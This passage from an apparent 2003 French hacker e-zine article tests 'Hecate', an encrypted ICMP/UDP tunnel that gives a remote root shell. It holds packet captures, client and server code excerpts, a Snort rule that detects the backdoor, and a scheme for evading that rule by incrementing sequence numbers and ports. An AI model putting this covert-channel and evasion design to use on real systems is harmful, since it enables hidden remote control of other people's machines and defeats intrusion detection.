-rw-r--r--    1 emper0r  emper0r     10369 mai 31 16:02 hecate.h
-rw-r--r--    1 root     root         4681 mai 27 22:57 projet.05-05-2003.tar.gz
-rw-rw-r--    1 emper0r  emper0r      6771 mai 31 15:33 projet.30-05-2003.tar.gz
-rwxr-xr-x    1 root     root        20646 jun  1 14:39 server
-rw-rw-r--    1 emper0r  emper0r      4725 jun  1 14:22 server.c
-rw-rw-r--    1 emper0r  emper0r       136 mai  5 14:22 todo
hecate ~2# turnoff
turning server off,
2 Packets(s) Sent, 1 Packet(s) Recieved
closing client, bye.
[root@neptune emper0r]#







		++++ | Part IV.  Les Tests | ++++



Hecate a t test sous Redhat 9.0 et versions antrieures, ainsi
que sur Mandrake 9.1. Les tests se sont drouls sur des interfaces
lo, eth et ppp. Nous avons utilis Tcpdump  www.tcpdump.org  pour
examnier le trafic et regarder le contenu des paquets.



	1. Le Dialogue PING/PONG :
	__________________________


Si je me ping en local, j'obtiens avec tcpdump :

tcpdump: listening on lo
23:54:37 067163 neolab > neolab: icmp: echo request (DF) (ttl 64, id 0, len 84)
23:54:37 067195 neolab > neolab: icmp: echo reply (ttl 255, id 9831, len 84)


Maintenant, en utilisant hecate en local, avec l'ICMP :

tcpdump: listening on lo
23:54:38 627164 neolab > neolab: icmp: echo request (DF) (ttl 64, id 6372, len 31)
23:54:38 067195 neolab > neolab: icmp: echo reply (ttl 255, id 9832, len 31)
23:54:38 067356 neolab > neolab: icmp: echo reply (ttl 64, id 3526, len 164)

On voit deux echo reply pour un echo request. Le 2nd PONG est enfait mis par le
kernel qui rpond au PING du client hecate. Le PONG retourn par le serveur est
lui d'une taille plus importante (len 164) puisqu'il contient l'affichage retour.




	2. Avec UDP :
	_____________


neloab#  ./client -p udp -t 127.0.0.1 -d 777
-+ ICMP/UDP Crypted Tunneling Tool  -by IOC Team, 2003 +-
Using UDP ...
[hecate ~1]# ls
client
client.c
hecate.h
server
server.c
etc ...
[hecate ~2]#

et en sniffant:
neolab#  tcpdump -i lo udp -X

22:16:49.033186 localhost.localdomain.666 > localhost.localdomain.777: udp 2808 (DF)
0x0000	 4500 001f 0000 4000 4011 3ccc 7f00 0001	E.....@.@.<.....
0x0010	 7f00 0001 029a 0309 0b00 0000 cdd2 ab  	...............
22:16:49.042124 localhost.localdomain.666 > localhost.localdomain.56401: udp 27640
0x0000	 4500 0080 5037 0000 ff11 6d33 7f00 0001	E...P7....m3....
0x0010	 7f00 0001 029b dc51 6c00 0000 c2cd c8c4	.......Ql.......
0x0020	 cfd5 abc2 cdc8 c4cf d58f c2ab c9c4 c2c0	................
0x0030	 d5c4 8fc9 abc8                         	......

Dans l'exemple le port de destination de la requette a t fix  777,
sinon, il est alatoire.







	3. Test sur eth0 :
	__________________


Test ralis par Emepr0r :

La machine A 192.168.0.1 execute le serveur et la machine B 192.168.0.4
le client. Aprs avoir lanc le serveur sur A, je lance le client sur B.

# ./client -t 192.168.0.1 -p icmp
-+ ICMP/UDP Crypted Tunnel - IOC Team, 2003 +-
interactive shell, root priviliges allowed
using ICMP ...
hecate ~1# ls -al
total 64
drwxrwxr-x    2 emper0r  emper0r      4096 jun  2 15:01 .
drwx--x--x   38 emper0r  emper0r      4096 jun  2 15:00 ..
-rwxrwxr-x    1 emper0r  emper0r     18524 jun  2 14:55 a.out
-rw-r--r--    1 emper0r  emper0r      7987 jun  1 22:05 client.c
-rw-r--r--    1 root     root            0 jun  2 15:03 dump
-rw-r--r--    1 emper0r  emper0r      9971 jun  1 21:31 hecate.h
-rw-rw-r--    1 emper0r  emper0r      7293 jun  2 14:54
projet.01-06-2003.newupdate.tar.gz
-rw-rw-r--    1 emper0r  emper0r      5178 jun  1 21:31 server.c
hecate ~2# turnoff
turning server off
2 Packet(s) sent, 1 Packet(s) recieved
closing client, Bye.


Dump a partir de la machine A :
# tcpdump -i eth0 -X -m -N
15:03:42.827674 192.168.0.4 > 192.168.0.1: icmp: echo request (DF)
0x0000   4500 0023 0000 4000 4001 b984 c0a8 0004        E..#..@.@.......
0x0010   c0a8 0001 0800 0000 0000 029a cdd2 818c        ................
0x0020   c0cd ab00 0000 0000 0000 0000 0000             ..............

15:03:42.852931 192.168.0.1 > 192.168.0.4: icmp: echo reply (DF)
0x0000   4500 0233 0000 4000 4001 b774 c0a8 0001        E..3..@.@..t....
0x0010   c0a8 0004 0000 0000 0000 029a d5ce d5c0        ................
0x0020   cd81 9795 abc5 d3d6 d9d3 d6d9 d38c d981        ................
0x0030   8181 8193 81c4 ccd1 c4d3 91d3 8181 c4cc        ................
0x0040   d1c4 d391 d381 8181 8181 8195 9198 9781        ................
0x0050   cbd4


Dump a partir de la machine B :
# tcpdump -i eth0 -X -m -N
tcpdump: listening on eth0
14:59:17.375955 192.168.0.4 > 192.168.0.1: icmp: echo request (DF)
0x0000   4500 0023 0000 4000 4001 b984 c0a8 0004        E..#..@.@.......
0x0010   c0a8 0001 0800 0000 0000 029a cdd2 818c        ................
0x0020   c0cd ab
                                       ...
14:59:17.401852 192.168.0.1 > 192.168.0.4: icmp: echo reply (DF)
0x0000   4500 0233 0000 4000 4001 b774 c0a8 0001        E..3..@.@..t....
0x0010   c0a8 0004 0000 0000 0000 029a d5ce d5c0        ................
0x0020   cd81 9795 abc5 d3d6 d9d3 d6d9 d38c d981        ................
0x0030   8181 8193 81c4 ccd1 c4d3 91d3 8181 c4cc        ................
0x0040   d1c4 d391 d381 8181 8181 8195 9198 9781        ................

15:00:09.347805 192.168.0.4 > 192.168.0.1: icmp: echo request (DF)
0x0000   4500 0024 0000 4000 4001 b983 c0a8 0004        E..$..@.@.......
0x0010   c0a8 0001 0800 0000 0000 029a d5d4 d3cf        ................
0x0020   cec7 c7ab                                      ....






	4. Le Cryptage :
	________________


Voici un dump des paquets mis par une version antrieure d'hecate
suivi d'un dump des paquets de la version implmentant le cryptage.
Le test tait effecut en local, et la commande tait 'finger' :


Avant cryptage:

20:59:35.965480 neolab > neolab: icmp: echo request (DF) (ttl 64, id 0, len 55)
0x0000	 4500 0037 0000 4000 4001 3cc4 7f00 0001	E..7..@.@.<.....
0x0010	 7f00 0001 0800 0000 0000 029a 6669 6e67	............fing
0x0020	 6572 0a00 0000 0000 0000 0000 0000 0000	er..............
0x0030	 0000 0000 0000                         	......
[...]
20:59:36.127889 neolab > neolab: icmp: echo reply (DF) (ttl 64, id 0, len 307)
0x0000	 4500 0133 0000 4000 4001 3bc8 7f00 0001	E..3..@.@.;.....
0x0010	 7f00 0001 0000 0000 0000 029a 4c6f 6769	............Logi
0x0020	 6e20 2020 2020 4e61 6d65 2020 2020 2020	n.....Name......
0x0030	 2054 7479 2020                         	.Tty..a



Aprs cryptage:

22:28:21.663582 neolab > neolab: icmp: echo request (DF) (ttl 64, id 0, len 35)
0x0000	 4500 0023 0000 4000 4001 3cd8 7f00 0001	E..#..@.@.<.....
0x0010	 7f00 0001 0800 0000 0d96 029a c3cc cbc2	................
0x0020	 c0d7 af                                	...
[...]                               	...
22:28:21.733587 neolab > neolab: icmp: echo reply (DF) (ttl 64, id 0, len 366)
0x0000	 4500 016e 0000 4000 4001 3b8d 7f00 0001	E..n..@.@.;.....
0x0010	 7f00 0001 0000 0000 0d51 029a e9ca c2cc	.........Q......
0x0020	 cb85 8585 8585 ebc4 c8c0 8585 8585 8585	................
0x0030	 85f1 d1dc 8585                         	......


On voit trs clairement que la commande comme l'affichage retour qui
taient visibles avant ne le sont plus depuis que le cryptage est utilis.
J'ai dlibrement ot des lignes c-dessus la rponse PONG du kernel.







	5. Dtection :
	______________


Emper0r m'a montr une rgle de l'IDS snort permettant de dtecter
l'utilisation d'hecate sur son rseau :

    alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"BACKDOOR HECATE";
    classtype:misc-activity; itype:0; icmp_id:0; icode:0; icmp_seq:666;)


# cat /var/log/snort/alert
[**] [1:0:0] BACKDOOR HECATE [**]
[Classification: Misc activity] [Priority: 3]
06/02-17:35:45.158369 192.168.0.1 -> 192.168.0.4
ICMP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:101 DF
Type:0  Code:0  ID:0  Seq:666  ECHO REPLY



Il s'agit simplement ici de dtecter un seqnum 666. Donc on ne va dtecter
que notre trafic ICMP backdoor. On pourrait tendre a  l'UDP avec un
check du port source. Biensur, vu comme a, c'est pas une protection terrible,
puisque a ne marche plus si on utilise une autre valeur. Mais imaginez un IDS
(et a doit se trouver) qui donne l'alerte s'il dtecte un trafic trange, comme
l'utilisation d'un mme port source plusieurs fois de suite, ou des ICMP seqnum
identiques frquement changs ...

La solution serait ne pas avoir deux datagrames similaires, d'opter pour une
construction de paquets trs diffrents. Comment ? en utilisant des valeurs
alatoires pour les champs id, seqnum, source, dest ...
Pour id et dest c'est faisable, mais n'oublions pas que les autres champs
nous servent  diffrencier nos paquets du trafic rgulier.

Si on demande au client de forger un datagrame ICMP avec un seqnum alatoire,
le serveur  l'autre bout ne saura pas quelle valeur nous avons attribu 
ce seqnum, et ne saura par quel seqnum est dsign le bon datagrame. Donc
si le seqnum de mme que le port source UDP sont gnrs alatoirement,
il sera impossible de faire dialoguer le client avec le serveur.




	6. Incrmentation :
	___________________


Une solution serait donc d'incrmenter le magic_num  rgulirement, en
partant d'un magic_num de base. On incrmenterait ensuite le magic_num
ainsi :   magic_num += i;


[ Fonctionnement ]

Il nous faut dfinir des rgles de fonctionnement, une marche  suivre pour
ne pas se mlanger les pinceaux. Ces rgles seront les suivantes :


	1. Le Client met un paquet avec magic_num et incrmente magic_num.
	   Le Client s'attend donc  reevoir un paquet avec magic_num + i

	2. Le Server reoit un magic_num et l'incrmente. Il met donc un
	   magic_num + i et s'attend  recevoir un magic_num + 2i.

	3. Si aucours du dialogue, le server recoit un paquet avec un
	   magic_num

Ce troisime point permet d'viter un problme. En effet, si le server
s'attendait  recevoir un magic_num + 10i par exemple, et que le client
tait redmarr, pour utiliser un autre protocol, il recommenerait 
envoyer la valeur de base du magic_num, et non magic_num +9i ce qui
l'empecherait de communiquer. Donc dansi un tel cas de figure, la valeur
du magic_num est rinitialise.



[ En pratique ]

Dsol si mes propos sont confus, mais en voici l'utilit en pratique.
Puisque nous avons un magic_num incrment  chaque paquet, cela donne
un port source ou un icmp seqnum diffrent d'un paquet  l'autre.

Voici un Dump en utilisant udp et un port source incrment en prenant
comme valeur de base la valeur par dfaut 666 :

22:22:28.091932 127.0.0.1.666 > 127.0.0.1.17767: udp 2040 (DF) (ttl 64, id 0, len 29)
22:22:28.099059 127.0.0.1.671 > 127.0.0.1.17767: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:28.106819 127.0.0.1.671 > 127.0.0.1.2132: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:28.291524 127.0.0.1.676 > 127.0.0.1.9158: udp 2040 (DF) (ttl 64, id 0, len 29)
22:22:28.297754 127.0.0.1.681 > 127.0.0.1.9158: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:28.470823 127.0.0.1.686 > 127.0.0.1.39017: udp 2040 (DF) (ttl 64, id 0, len 29)
22:22:28.477028 127.0.0.1.691 > 127.0.0.1.39017: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:28.629612 127.0.0.1.696 > 127.0.0.1.18547: udp 2040 (DF) (ttl 64, id 0, len 29)

On voit que le port source des datagrams est incrment de 5 et 5 tandis que le
port de destination est alatoire. Au passage, ici le header IP est forg par le
kernel car l'adresse source n'est pas spoofe, ce qui a pour consquence visibles
dans ce dump, les ttl 64 et le champ id laiss  0.

Lorsqu'on quitte le client, puis qu'on l'excute  nouveau, le serveur distant
s'attend  recevoir un paquet avec un magic_num incrment dans la suite logique
des paquets qu'il a reu juste avant. Or on vient de relaner le server avec
une valeur de base, et le magic_num du client ne correspond plus  celui du
serveur. Voici ce qui se passe :


22:22:28.635228 127.0.0.1.701 > 127.0.0.1.18547: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:28.830121 127.0.0.1.706 > 127.0.0.1.56401: udp 2040 (DF) (ttl 64, id 0, len 29)
22:22:28.836168 127.0.0.1.711 > 127.0.0.1.56401: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:29.028915 127.0.0.1.716 > 127.0.0.1.23807: udp 2040 (DF) (ttl 64, id 0, len 29)
22:22:29.035551 127.0.0.1.721 > 127.0.0.1.23807: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:38.239215 127.0.0.1.666 > 127.0.0.1.17767: udp 2040 (DF) (ttl 64, id 0, len 29)   <= ici on a redmarr le client
22:22:38.246272 127.0.0.1.671 > 127.0.0.1.10232: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:38.254296 127.0.0.1.671 > 127.0.0.1.37962: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:38.259728 127.0.0.1.676 > 127.0.0.1.8987: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:38.264885 127.0.0.1.681 > 127.0.0.1.22764: udp 2040 (DF) (ttl 64, id 0, len 28)

Dans ce cas de figure, lorsque le serveur reoit un magic_num de base, ici 666
par dfaut, il reset le compteur, et recommene  incrmenter  partir de celui-ci.
On voit que le dialogue reprend avec une incrmentation rgulire. On voit galement
que a dconne au premier paquet reu (requete et rponse mises avec le mme port
source 671). Il faut en effet un premier change de paquets pour que les deux magic_num
client et serveur se synchronisent.


Comme on est curieux, on va regarder ce qui se passe lorsque la valeur du
magic_num incrment dpasse 65536. On incrmente pour l'exemple de 5 en 5 :

22:23:30.052001 127.0.0.1.65525 > 127.0.0.1.17767: udp 2040 (DF) (ttl 64, id 0, len 29)
22:23:30.058674 127.0.0.1.65530 > 127.0.0.1.17767: udp 2040 (DF) (ttl 64, id 0, len 28)
22:23:30.298256 127.0.0.1.65535 > 127.0.0.1.9158: udp 2040 (DF) (ttl 64, id 0, len 29)
22:23:30.303937 127.0.0.1.4 > 127.0.0.1.9158: udp 2040 (DF) (ttl 64, id 0, len 28)
22:23:30.503833 127.0.0.1.9 > 127.0.0.1.39017: udp 2040 (DF) (ttl 64, id 0, len 29)
22:23:30.509529 127.0.0.1.14 > 127.0.0.1.39017: udp 2040 (DF) (ttl 64, id 0, len 28)
22:23:30.694597 127.0.0.1.19 > 127.0.0.1.18547: udp 2040 (DF) (ttl 64, id 0, len 29)
22:23:30.700159 127.0.0.1.24 > 127.0.0.1.18547: udp 2040 (DF) (ttl 64, id 0, len 28)
22:23:30.893475 127.0.0.1.29 > 127.0.0.1.56401: udp 2040 (DF) (ttl 64, id 0, len 29)

une fois que 65536 est atteint, le magic_num repart de 0, et le dialogue se
poursuit. De toute manire,  moins de spcifier un magic_num de base genre
"-m 65525" comme j'ai fait pour l'exemple, a devrait pas arriver souvent.



[ Le code ]

Le code a t un peu modifi, enfait quelques compteurs bien plas auront suffit.
Voici un extrait du client :



-------8<-----------------------------------------------------------------------
	/*
	 * SEND UDP DGRAM
	 */
	if(proto == IPPROTO_UDP)
	{
		if((send_UDP(dest_port, src_port, server_addr, client_addr, crypted_cmd, spoof)) == -1){
			perror("send_UDP()");
			return -1;
		}

		magic_num +=i;
		src_port = magic_num;

-------8<-----------------------------------------------------------------------

Pour l'UDP le server envoit le magic_num comme source, puis il l'incrmente.
Il ragiera donc  un datagrame ayant le magic_num envoy + i.

Pour le serveur et l'ICMP mme chose :

-------8<-----------------------------------------------------------------------

	/* reset magic_num counter */
	if(icmp->seq == htons(base_num))
		magic_num = base_num;

	if(icmp->type == ICMP_ECHO && icmp->seq == htons(magic_num))
	{
		magic_num+=i;
		seqnum = magic_num;

		/* ... */

		send_ICMP(ICMP_ECHOREPLY, seqnum, client_addr, server_addr, crypted_data, 0);

		magic_num+=i;
		seqnum = magic_num;
	}
-------8<-----------------------------------------------------------------------

Le magic_num reu en seqnum est incrment, on PONG avec la nouvelle valeur,
et on incrmente  nouveau.







			A N N E X E
			___________

Vous trouverez  le code complet  hecate.v1.0.tar.gz  joint  ce mag.
Vous trouverz galement cette archive sur notre site, probablement,
rootshell.be/~ioc/releases tant que rootshell est pas down.
Attention, N'UTILISEZ PAS cet outil afin de backdoorer une autre
machine que la votre, vous tes seuls responsables de ce que vous
ferez de ce code.


[ See also ]

[+]- 007Shell.c	v.1.0 by FuSy
[+]- CRH#9 by Team CodeZero, 11th May 1998





Conclusion :
____________

Je voudrais remercier dans le dsordre pour l'ide, le code, les conseils,
la doc et les tests : Emper0r, MeiK, Li0n7, Ins (A poil !!), Ciel, Anonymous,
ce bon vieux toto, ainsi que ceux qui auraient test le code pour nous et
dont j'aurais oubli le pseudo.

Voila ... le dernier article auquel j'aurais pris part pour IOC Magazine,
ce numro tant probablement le dernier de la srie. Ca fait bizzare, ce
fut bien sympa en tout cas ...  A une prochaine fois !




